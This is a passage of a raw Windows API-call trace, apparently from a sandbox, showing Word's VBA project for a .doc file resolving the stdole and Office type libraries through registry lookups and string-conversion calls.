lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Project", lpUsedDefaultChar=0x0) returned 8 [0018.144] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Project") returned 0x10ae2d [0018.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Project", cchWideChar=8, lpMultiByteStr=0x306ae0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Project", lpUsedDefaultChar=0x0) returned 8 [0018.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Project", cchWideChar=8, lpMultiByteStr=0x3069a0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Project", lpUsedDefaultChar=0x0) returned 8 [0018.144] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Project") returned 0x10ae2d [0018.144] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Project") returned 0x10ae2d [0018.144] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x18) returned 0x796c700 [0018.144] IMalloc:Free (This=0x7fefe9e5380, pv=0x78201f0) [0018.144] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x20) returned 0x78201f0 [0018.144] IMalloc:Free (This=0x7fefe9e5380, pv=0x796c700) [0018.144] strcpy_s (in: _Dst=0x7a1f598, _DstSize=0x8, _Src="Project" | out: _Dst="Project") returned 0x0 [0018.153] wcscpy_s (in: _Destination=0x7ac8d10, _SizeInWords=0x5f, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation" | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 0x0 [0018.153] wcsncpy_s (in: _Destination=0x306930, _SizeInWords=0x108, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", _MaxCount=0x106 | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 0x0 [0018.153] CharLowerBuffW (in: lpsz="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", cchLength=0x5e | out: lpsz="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation") returned 0x5e [0018.153] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xbe) returned 0x7a8b4b0 [0018.153] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation", cchWideChar=95, lpMultiByteStr=0x7a8b4b0, cbMultiByte=190, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation", lpUsedDefaultChar=0x0) returned 95 [0018.153] IMalloc:Free (This=0x7fefe9e5380, pv=0x7a8b4b0) [0018.153] wcscpy_s (in: _Destination=0x5587160, _SizeInWords=0x5f, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation" | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 0x0 [0018.153] wcsncpy_s (in: _Destination=0x306970, _SizeInWords=0x108, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", _MaxCount=0x106 | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 0x0 [0018.153] CharLowerBuffW (in: lpsz="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", cchLength=0x5e | out: lpsz="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation") returned 0x5e [0018.153] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xbe) returned 0x7a8b4b0 [0018.153] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation", cchWideChar=95, lpMultiByteStr=0x7a8b4b0, cbMultiByte=190, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation", lpUsedDefaultChar=0x0) returned 95 [0018.153] IMalloc:Free (This=0x7fefe9e5380, pv=0x7a8b4b0) [0018.153] wcsncpy_s (in: _Destination=0x306930, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc") returned 0x0 [0018.153] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc", cchLength=0x29 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\ihknzkjo.doc") returned 0x29 [0018.153] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\ihknzkjo.doc", cchWideChar=42, lpMultiByteStr=0x306860, cbMultiByte=84, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\ihknzkjo.doc", lpUsedDefaultChar=0x0) returned 42 [0018.153] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc") returned 0 [0018.153] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="stdole") returned 0x106093 [0018.153] strcpy_s (in: _Dst=0x3069f0, _DstSize=0x7, _Src="stdole" | out: _Dst="stdole") returned 0x0 [0018.153] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3069f0, cbMultiByte=7, lpWideCharStr=0x306840, cchWideChar=7 | out: lpWideCharStr="stdole") returned 7 [0018.153] IUnknown:AddRef (This=0x7919520) returned 0x3 [0018.153] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="stdole", lHashVal=0x106093, pfName=0x306910, pBstrLibName=0x306840 | out: pfName=0x306910*=0, pBstrLibName=0x306840) returned 0x0 [0018.153] IUnknown:Release (This=0x7919520) returned 0x2 [0018.154] IUnknown:AddRef (This=0x7346470) returned 0x3 [0018.154] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="stdole", lHashVal=0x106093, pfName=0x306910, pBstrLibName=0x306840 | out: pfName=0x306910*=0, pBstrLibName=0x306840) returned 0x0 [0018.154] IUnknown:Release (This=0x7346470) returned 0x2 [0018.154] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x208) returned 0x7942a80 [0018.154] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0x305ff0 | out: phkResult=0x305ff0*=0x9aa) returned 0x0 [0018.154] RegOpenKeyW (in: hKey=0x9aa, lpSubKey="{00020430-0000-0000-C000-000000000046}", phkResult=0x305fe8 | out: phkResult=0x305fe8*=0x9b2) returned 0x0 [0018.154] RegEnumKeyW (in: hKey=0x9b2, dwIndex=0x0, lpName=0x306018, cchName=0xa | out: lpName="1.0") returned 0x0 [0018.154] RegEnumKeyW (in: hKey=0x9b2, dwIndex=0x1, lpName=0x306018, cchName=0xa | out: lpName="2.0") returned 0x0 [0018.154] wcscpy_s (in: _Destination=0x306000, _SizeInWords=0xa, _Source="2.0" | out: _Destination="2.0") returned 0x0 [0018.154] RegOpenKeyW (in: hKey=0x9b2, lpSubKey="2.0", phkResult=0x3060a8 | out: phkResult=0x3060a8*=0x9ae) returned 0x0 [0018.155] _ultoa_s (in: _Val=0x0, _DstBuf=0x306020, _Size=0xa, _Radix=16 | out: _DstBuf="0") returned 0x0 [0018.155] RegOpenKeyA (in: hKey=0x9ae, lpSubKey="0", phkResult=0x306010 | out: phkResult=0x306010*=0x9b6) returned 0x0 [0018.155] RegOpenKeyW (in: hKey=0x9b6, lpSubKey="win64", phkResult=0x306018 | out: phkResult=0x306018*=0x9ba) returned 0x0 [0018.156] RegCloseKey (hKey=0x9ba) returned 0x0 [0018.156] RegCloseKey (hKey=0x9b6) returned 0x0 [0018.156] _ultow_s (in: _Value=0x0, _Buffer=0x3060b0, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0 [0018.156] RegOpenKeyW (in: hKey=0x9ae, lpSubKey="0", phkResult=0x306088 | out: phkResult=0x306088*=0x9b6) returned 0x0 [0018.156] RegQueryValueW (in: hKey=0x9b6, lpSubKey="win64", lpData=0x3060d0, lpcbData=0x306084 | out: lpData="C:\\Windows\\system32\\stdole2.tlb", lpcbData=0x306084) returned 0x0 [0018.156] wcscpy_s (in: _Destination=0x7942a80, _SizeInWords=0x104, _Source="C:\\Windows\\system32\\stdole2.tlb" | out: _Destination="C:\\Windows\\system32\\stdole2.tlb") returned 0x0 [0018.156] RegCloseKey (hKey=0x9b6) returned 0x0 [0018.156] RegCloseKey (hKey=0x9ae) returned 0x0 [0018.156] RegCloseKey (hKey=0x9b2) returned 0x0 [0018.156] RegCloseKey (hKey=0x9aa) returned 0x0 [0018.157] IMalloc:Free (This=0x7fefe9e5380, pv=0x7942a80) [0018.157] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="stdole", lHashVal=0x106093, pfName=0x306910, pBstrLibName=0x306840 | out: pfName=0x306910*=0, pBstrLibName=0x306840) returned 0x0 [0018.157] IUnknown:Release (This=0x7345930) returned 0x4 [0018.157] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x24) returned 0x781fb90 [0018.157] IMalloc:Free (This=0x7fefe9e5380, pv=0x79ac540) [0018.157] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x20) returned 0x781fbc0 [0018.157] IMalloc:Free (This=0x7fefe9e5380, pv=0x781fb90) [0018.158] wcscpy_s (in: _Destination=0x7ac8df8, _SizeInWords=0xa, _Source="*\\CNormal" | out: _Destination="*\\CNormal") returned 0x0 [0018.159] wcsncpy_s (in: _Destination=0x306930, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0018.159] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0018.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0x306860, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0018.159] _wcsicmp (_String1="*\\CNormal", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc") returned 11 [0018.159] wcscpy_s (in: _Destination=0x5342940, _SizeInWords=0xa, _Source="*\\CNormal" | out: _Destination="*\\CNormal") returned 0x0 [0018.159] wcsncpy_s (in: _Destination=0x306970, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0018.159] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0018.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0x3068a0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0018.159] wcsncpy_s (in: _Destination=0x306930, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc") returned 0x0 [0018.159] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc", cchLength=0x29 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\ihknzkjo.doc") returned 0x29 [0018.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\ihknzkjo.doc", cchWideChar=42, lpMultiByteStr=0x306860, cbMultiByte=84, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\ihknzkjo.doc", lpUsedDefaultChar=0x0) returned 42 [0018.159] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc", _String2="*\\CNormal") returned -11 [0018.159] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc") returned 0 [0018.159] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Normal") returned 0x10d8df [0018.159] strcpy_s (in: _Dst=0x3069f0, _DstSize=0x7, _Src="Normal" | out: _Dst="Normal") returned 0x0 [0018.159] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3069f0, cbMultiByte=7, lpWideCharStr=0x306840, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0018.159] IUnknown:AddRef (This=0x7919520) returned 0x3 [0018.159] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="Normal", lHashVal=0x10d8df, pfName=0x306910, pBstrLibName=0x306840 | out: pfName=0x306910*=0, pBstrLibName=0x306840) returned 0x0 [0018.159] IUnknown:Release (This=0x7919520) returned 0x2 [0018.159] IUnknown:AddRef (This=0x7346470) returned 0x3 [0018.159] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="Normal", lHashVal=0x10d8df, pfName=0x306910, pBstrLibName=0x306840 | out: pfName=0x306910*=0, pBstrLibName=0x306840) returned 0x0 [0018.159] IUnknown:Release (This=0x7346470) returned 0x2 [0018.159] IUnknown:AddRef (This=0x7345930) returned 0x5 [0018.159] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="Normal", lHashVal=0x10d8df, pfName=0x306910, pBstrLibName=0x306840 | out: pfName=0x306910*=0, pBstrLibName=0x306840) returned 0x0 [0018.159] IUnknown:Release (This=0x7345930) returned 0x4 [0018.160] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x30) returned 0x7894cd0 [0018.160] IMalloc:Free (This=0x7fefe9e5380, pv=0x7909e80) [0018.160] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x20) returned 0x78201f0 [0018.160] IMalloc:Free (This=0x7fefe9e5380, pv=0x7894cd0) [0018.160] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x94) returned 0x7833c70 [0018.160] IMalloc:Free (This=0x7fefe9e5380, pv=0x7833c70) [0018.160] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x80) returned 0x7957fa0 [0018.160] _ultow_s (in: _Value=0x2, _Buffer=0x306b6a, _BufferCount=0x10, _Radix=16 | out: _Buffer="2") returned 0x0 [0018.160] _ultow_s (in: _Value=0x8, _Buffer=0x306b6e, _BufferCount=0xe, _Radix=16 | out: _Buffer="8") returned 0x0 [0018.160] _ultow_s (in: _Value=0x0, _Buffer=0x306b72, _BufferCount=0xc, _Radix=16 | out: _Buffer="0") returned 0x0 [0018.160] wcscpy_s (in: _Destination=0x7a0ce38, _SizeInWords=0x95, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0018.160] wcscpy_s (in: _Destination=0x7a0ce3e, _SizeInWords=0x92, _Source="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}" | out: _Destination="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}") returned 0x0 [0018.160] wcscpy_s (in: _Destination=0x7a0ce8a, _SizeInWords=0x6c, _Source="#2.8#0#" | out: _Destination="#2.8#0#") returned 0x0 [0018.160] wcscpy_s (in: _Destination=0x7a0ce98, _SizeInWords=0x65, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL") returned 0x0 [0018.160] wcscpy_s (in: _Destination=0x7a0cf18, _SizeInWords=0x25, _Source="Microsoft Office 16.0 Object Library" | out: _Destination="Microsoft Office 16.0 Object Library") returned 0x0 [0018.160] IMalloc:Free (This=0x7fefe9e5380, pv=0x7957fa0) [0018.160] wcscpy_s (in: _Destination=0x7ac8e38, _SizeInWords=0x95, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library" | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0x0 [0018.160] wcsncpy_s (in: _Destination=0x306930, _SizeInWords=0x108, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0x0 [0018.160] CharLowerBuffW (in: lpsz="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", cchLength=0x94 | out: lpsz="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library") returned 0x94 [0018.160] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x12a) returned 0x78aa9b0 [0018.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library", cchWideChar=149, lpMultiByteStr=0x78aa9b0, cbMultiByte=298, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library", lpUsedDefaultChar=0x0) returned 149 [0018.161] IMalloc:Free (This=0x7fefe9e5380, pv=0x78aa9b0) [0018.161] wcscpy_s (in: _Destination=0x5342988, _SizeInWords=0x95, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library" | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0x0 [0018.161] wcsncpy_s (in: _Destination=0x306970, _SizeInWords=0x108, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0x0 [0018.161] CharLowerBuffW (in: lpsz="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", cchLength=0x94 | out: lpsz="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library") returned 0x94 [0018.161] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x12a) returned 0x78aa9b0 [0018.161] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library", cchWideChar=149, lpMultiByteStr=0x78aa9b0, cbMultiByte=298, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library", lpUsedDefaultChar=0x0) returned 149 [0018.161] IMalloc:Free (This=0x7fefe9e5380, pv=0x78aa9b0) [0018.161] wcsncpy_s (in: _Destination=0x306930, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc") returned 0x0 [0018.161] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc", cchLength=0x29 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\ihknzkjo.doc") returned 0x29 [0018.161] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\ihknzkjo.doc", cchWideChar=42, lpMultiByteStr=0x306860, cbMultiByte=84, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\ihknzkjo.doc", lpUsedDefaultChar=0x0) returned 42 [0018.161] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc", _String2="*\\CNormal") returned -11 [0018.161] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc") returned 0 [0018.161] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Office") returned 0x107515 [0018.161] strcpy_s (in: _Dst=0x3069f0, _DstSize=0x7, _Src="Office" | out: _Dst="Office") returned 0x0 [0018.161] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3069f0, cbMultiByte=7, lpWideCharStr=0x306840, cchWideChar=7 | out: lpWideCharStr="Office") returned 7 [0018.161] IUnknown:AddRef (This=0x7919520) returned 0x3 [0018.161] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="Office", lHashVal=0x107515, pfName=0x306910, pBstrLibName=0x306840 | out: pfName=0x306910*=0, pBstrLibName=0x306840) returned 0x0 [0018.161] IUnknown:Release (This=0x7919520) returned 0x2 [0018.161] IUnknown:AddRef (This=0x7346470) returned 0x3 [0018.161] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="Office", lHashVal=0x107515, pfName=0x306910, pBstrLibName=0x306840 | out: pfName=0x306910*=0, pBstrLibName=0x306840) returned 0x0 [0018.161] IUnknown:Release (This=0x7346470) returned 0x2 [0018.161] IUnknown:AddRef (This=0x7345930) returned 0x5 [0018.161] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="Office", lHashVal=0x107515, pfName=0x306910, pBstrLibName=0x306840 | out: pfName=0x306910*=0, pBstrLibName=0x306840) returned 0x0 [0018.161] IUnknown:Release (This=0x7345930) returned 0x4 [0018.161] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x208) returned 0x7942a80 [0018.161] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0x305ff0 | out: phkResult=0x305ff0*=0x9aa) returned 0x0 [0018.161] RegOpenKeyW (in: hKey=0x9aa, lpSubKey="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}", phkResult=0x305fe8 | out: phkResult=0x305fe8*=0x9ae) returned 0x0 [0018.162] RegEnumKeyW (in: hKey=0x9ae, dwIndex=0x0, lpName=0x306018, cchName=0xa | out: lpName="2.6") returned 0x0 [0018.162] RegEnumKeyW (in: hKey=0x9ae, dwIndex=0x1, lpName=0x306018, cchName=0xa | out: lpName="2.7") returned 0x0 [0018.162] RegEnumKeyW (in: hKey=0x9ae, dwIndex=0x2, lpName=0x306018, cchName=0xa | out: lpName="2.8") returned 0x0 [0018.162] wcscpy_s (in: _Destination=0x306000, _SizeInWords=0xa, _Source="2.8" | out: _Destination="2.8") returned 0x0 [0018.162] RegOpenKeyW (in: hKey=0x9ae, lpSubKey="2.8", phkResult=0x3060a8 | out: phkResult=0x3060a8*=0x9ba) returned 0x0 [0018.162] _ultoa_s (in: _Val=0x0, _DstBuf=0x306020, _Size=0xa, _Radix=16 | out: _DstBuf="0") returned 0x0 [0018.162] RegOpenKeyA (in: hKey=0x9ba, lpSubKey="0", phkResult=0x306010 | out: phkResult=0x306010*=0x9c2) returned 0x0 [0018.163] RegOpenKeyW (in: hKey=0x9c2, lpSubKey="win64", phkResult=0x306018 | out: phkResult=0x306018*=0x9ca) returned 0x0 [0018.163] RegCloseKey (hKey=0x9ca) returned 0x0 [0018.163] RegCloseKey (hKey=0x9c2) returned 0x0 [0018.163] _ultow_s (in: _Value=0x0, _Buffer=0x3060b0, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0 [0018.163] RegOpenKeyW (in: hKey=0x9ba, lpSubKey="0", phkResult=0x306088 | out: phkResult=0x306088*=0x9be) returned 0x0 [0018.163] RegQueryValueW (in: hKey=0x9be, lpSubKey="win64", lpData=0x3060d0, lpcbData=0x306084 | out: lpData="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL", lpcbData=0x306084) returned 0x0 [0018.164] wcscpy_s (in: _Destination=0x7942a80, _SizeInWords=0x104, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL") returned 0x0 [0018.164] RegCloseKey (hKey=0x9be) returned 0x0 [0018.164] RegCloseKey (hKey=0x9ba) returned 0x0 [0018.164] RegCloseKey (hKey=0x9ae) returned 0x0 [0018.164] RegCloseKey (hKey=0x9aa) returned 0x0 [0018.206] IMalloc:Free (This=0x7fefe9e5380, pv=0x7942a80) [0018.206] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="Office", lHashVal=0x107515, pfName=0x306910, pBstrLibName=0x306840 | out: pfName=0x306910*=0, pBstrLibName=0x306840) returned 0x0 [0018.206] IUnknown:Release (This=0x7919ac0) returned 0x1 [0018.207] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x3c) returned 0x79ae750 [0018.207] IMalloc:Free (This=0x7fefe9e5380, pv=0x7785fe0) [0018.207] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x20) returned 0x781c800 [0018.207] IMalloc:Free (This=0x7fefe9e5380, pv=0x79ae750) [0018.208] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0x306a50, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0018.208] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0018.208] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0x306b90, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0018.208] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0018.208] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x80) returned 0x79598f0 [0018.208] IMalloc:GetSize (This=0x7fefe9e5380, pv=0x79598f0) returned 0x80 [0018.208] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xb8) returned 0x7a0fe20 [0018.208] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xb8) returned 0x7a0fee0 [0018.208] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0x306a50, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0018.208] CoCreateGuid (in: pguid=0x306780 | out: pguid=0x306780*(Data1=0xb7b6a937, Data2=0xf22d, Data3=0x402e, Data4=([0]=0x9f, [1]=0xac, [2]=0xd8, [3]=0x36, [4]=0x34, [5]=0xfe, [6]=0x85, [7]=0x84))) returned 